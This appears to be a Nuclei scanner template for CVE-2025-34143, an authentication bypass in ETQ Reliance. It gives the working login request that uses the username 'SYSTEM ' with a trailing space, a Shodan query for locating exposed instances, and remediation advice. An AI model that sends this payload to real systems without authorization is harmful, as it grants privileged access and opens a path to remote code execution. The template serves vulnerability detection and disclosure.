ETQ Reliance - Authentication Bypass via Trailing Space

id: CVE-2025-34143

info:
  name: ETQ Reliance - Authentication Bypass via Trailing Space
  author: slcyber,DhiyaneshDK
  severity: critical
  description: |
    An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.
  impact: |
    Successful exploitation allows unauthenticated attackers to bypass authentication and gain elevated SYSTEM access, potentially leading to remote code execution.
  remediation: |
    Apply the vendor patch to version MP-4583 or later, which includes stricter validation logic to exclude internal accounts from public authentication workflows.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34143
    - https://slcyber.io/assetnote-security-research-center/how-we-accidentally-discovered-a-remote-code-execution-vulnerability-in-etq-reliance/
  classification:
    epss-score: 0.29857
    epss-percentile: 0.97979
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34143
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ETQ Reliance"
  tags: cve,cve2025,etq-reliance,auth-bypass,vkev,vuln

variables:
  username: "SYSTEM "
  password: "{{to_lower(rand_text_alphanumeric(7))}}"

http:
  - raw:
      - |
        POST /reliance/resources/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "statusCode"
          - "userId"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 490a0046304402200b6dba723a9076c6f20a51307a6e90af4f172b4795f74f2662b75f276b035ddc022055d4d1af5d10d7a5c1a8f30e7eedda49a94a5bfa72648cb284d77a469979c31b:922c64590222798bb761d5b6d8e72950